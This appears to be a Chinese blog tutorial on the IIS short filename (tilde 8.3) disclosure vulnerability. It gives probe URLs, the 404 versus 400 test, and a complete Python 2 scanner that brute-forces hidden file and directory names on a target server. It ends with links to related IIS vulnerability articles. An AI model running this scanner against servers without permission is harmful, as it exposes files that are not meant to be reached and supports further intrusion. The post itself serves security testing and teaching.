iis短文件名漏洞

简介: iis短文件名漏洞

漏洞简述

此漏洞实际是由HTTP请求中旧DOS 8.3名称约定(SFN)的代字符(~)波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。

漏洞复现

  1. 构造payload查看是否具有漏洞
  1. http://www.target.com/~1***/a.aspx
  2. http://www.target.com/l1j1e*~1****/a.aspx
  1. 如果存在短文件名泄露漏洞就会出现404页面
  2. 如果输入不存在的字母出现400 bad request 确认可以利用
  3. 现在开始进行猜解,其实猜解的过程很简单就是在http://www.target.com/~1***/a.aspx第一个星号之前加上字母,看出现的是404页面还是400页面,如果出现404说明存在则继续猜解。
#!/usr/bin/env python
# encoding:utf-8
# An IIS short_name scanner   my[at]lijiejie.com  http://www.lijiejie.com    
import sys
import httplib
import urlparse
import threading
import Queue
import time
class Scanner():
    def __init__(self, target):
        self.target = target.lower()
        if not self.target.startswith('http'):
            self.target = 'http://%s' % self.target
        self.scheme, self.netloc, self.path, params, query, fragment = \
                     urlparse.urlparse(target)
        if self.path[-1:] != '/':    # ends with slash
            self.path += '/'
        self.alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789_-'
        self.files = []
        self.dirs = []
        self.queue = Queue.Queue()
        self.lock = threading.Lock()
        self.threads = []
        self.request_method = ''
        self.msg_queue = Queue.Queue()
        self.STOP_ME = False
        threading.Thread(target=self._print).start()
    def _conn(self):
        try:
            if self.scheme == 'https':
                conn = httplib.HTTPSConnection(self.netloc)
            else:
                conn = httplib.HTTPConnection(self.netloc)
            return conn
        except Exception, e:
            print '[_conn.Exception]', e
            return None
    def _get_status(self, path):
        try:
            conn = self._conn()
            conn.request(self.request_method, path)
            status = conn.getresponse().status
            conn.close()
            return status
        except Exception, e:
            raise Exception('[_get_status.Exception] %s' % str(e) )
    def is_vul(self):
        try:
            for _method in ['GET', 'OPTIONS']:
                self.request_method = _method
                status_1 = self._get_status(self.path + '/*~1*/a.aspx')    # an existed file/folder
                status_2 = self._get_status(self.path + '/l1j1e*~1*/a.aspx')    # not existed file/folder
                if status_1 == 404 and status_2 != 404:
                    return True
            return  False
        except Exception, e:
            raise Exception('[is_vul.Exception] %s' % str(e) )
    def run(self):
        for c in self.alphanum:
            self.queue.put( (self.path + c, '.*') )    # filename, extension
        for i in range(20):
            t = threading.Thread(target=self._scan_worker)
            self.threads.append(t)
            t.start()
        for t in self.threads:
            t.join()
        self.STOP_ME = True
    def report(self):
        print '-'* 64
        for d in self.dirs:
            print 'Dir:  %s' % d
        for f in self.files:
            print 'File: %s' % f
        print '-'*64
        print '%d Directories, %d Files found in total' % (len(self.dirs), len(self.files))
        print 'Note that * is a wildcard, matches any character zero or more times.'
    def _print(self):
        while not self.STOP_ME or (not self.msg_queue.empty()):
            if self.msg_queue.empty():
                time.sleep(0.05)
            else:
                print self.msg_queue.get()
    def _scan_worker(self):
        while True:
            try:
                url, ext = self.queue.get(timeout=1.0)
                status = self._get_status(url + '*~1' + ext + '/1.aspx')
                if status == 404:
                    self.msg_queue.put('[+] %s~1%s\t[scan in progress]' % (url, ext))
                    if len(url) - len(self.path)< 6:    # enum first 6 chars only
                        for c in self.alphanum:
                            self.queue.put( (url + c, ext) )
                    else:
                        if ext == '.*':
                            self.queue.put( (url, '') )
                        if ext == '':
                            self.dirs.append(url + '~1')
                            self.msg_queue.put('[+] Directory ' +  url + '~1\t[Done]')
                        elif len(ext) == 5 or (not ext.endswith('*')):    # .asp*
                            self.files.append(url + '~1' + ext)
                            self.msg_queue.put('[+] File ' + url + '~1' + ext + '\t[Done]')
                        else:
                            for c in 'abcdefghijklmnopqrstuvwxyz0123456789':
                                self.queue.put( (url, ext[:-1] + c + '*') )
                                if len(ext) < 4:    # < len('.as*')
                                    self.queue.put( (url, ext[:-1] + c) )
            except Queue.Empty,e:
                break
            except Exception, e:
                print '[Exception]', e
if __name__ == '__main__':
    if len(sys.argv) == 1:
        print 'Usage: python IIS_shortname_Scan.py http://www.target.com/'
        sys.exit()
    target = sys.argv[1]
    s = Scanner(target)
    if not s.is_vul():
        s.STOP_ME = True
        print 'Server is not vulnerable'
        sys.exit(0)
    print 'Server is vulnerable, please wait, scanning...'
    s.run()
    s.report()
python2 iis_shortname_Scan.py  https://x.c.v/

相关文章
|
2月前
|
开发框架 安全 中间件
38、中间件漏洞解析-IIS6.0
38、中间件漏洞解析-IIS6.0
15 0
|
11月前
|
开发框架 安全 .NET
从零到IIS建站再到IIS解析漏洞复现
从零到IIS建站再到IIS解析漏洞复现
144 0
|
11月前
|
SQL 安全 中间件
中间件常见漏洞之IIS 2
中间件常见漏洞之IIS
238 0
|
11月前
|
开发框架 安全 .NET
中间件常见漏洞之IIS 1
中间件常见漏洞之IIS
231 0
|
开发框架 安全 .NET
38、中间件漏洞解析-IIS6.0
38、中间件漏洞解析-IIS6.0
73 1
38、中间件漏洞解析-IIS6.0
|
安全 前端开发 PHP
七夕咱一起验证漏洞✨ IIS7/7.5对文件名畸形解析导致远程代码执行❤️
七夕咱一起验证漏洞✨ IIS7/7.5对文件名畸形解析导致远程代码执行❤️
300 0
七夕咱一起验证漏洞✨ IIS7/7.5对文件名畸形解析导致远程代码执行❤️
|
Web App开发 安全
微软IIS6漏洞:服务器敏感信息易被窃
  近日,安全专家对使用微软Internet信息服务IIS 6的管理员发出警告,声称Web服务器很容易受到攻击并暴露出密码保护的文件和文件夹。   据悉,基于WebDAV协议的部分进程命令中存在这种漏洞。
837 0
|
安全 Windows
利用URLScan工具过滤URL中的特殊字符(仅针对IIS6)-- 解决IIS短文件名漏洞
IIS短文件名漏洞在windows服务器上面非常常见,也就是利用“~”字符猜解暴露短文件/文件夹名,比如,采用这种方式构造URL:http://aaa.com/abc~1/.aspx,根据IIS返回的错误信息,猜测该路径或文件是否存在,具体可参考这篇文章:http://www.freebuf.com/articles/4908.html。
1349 0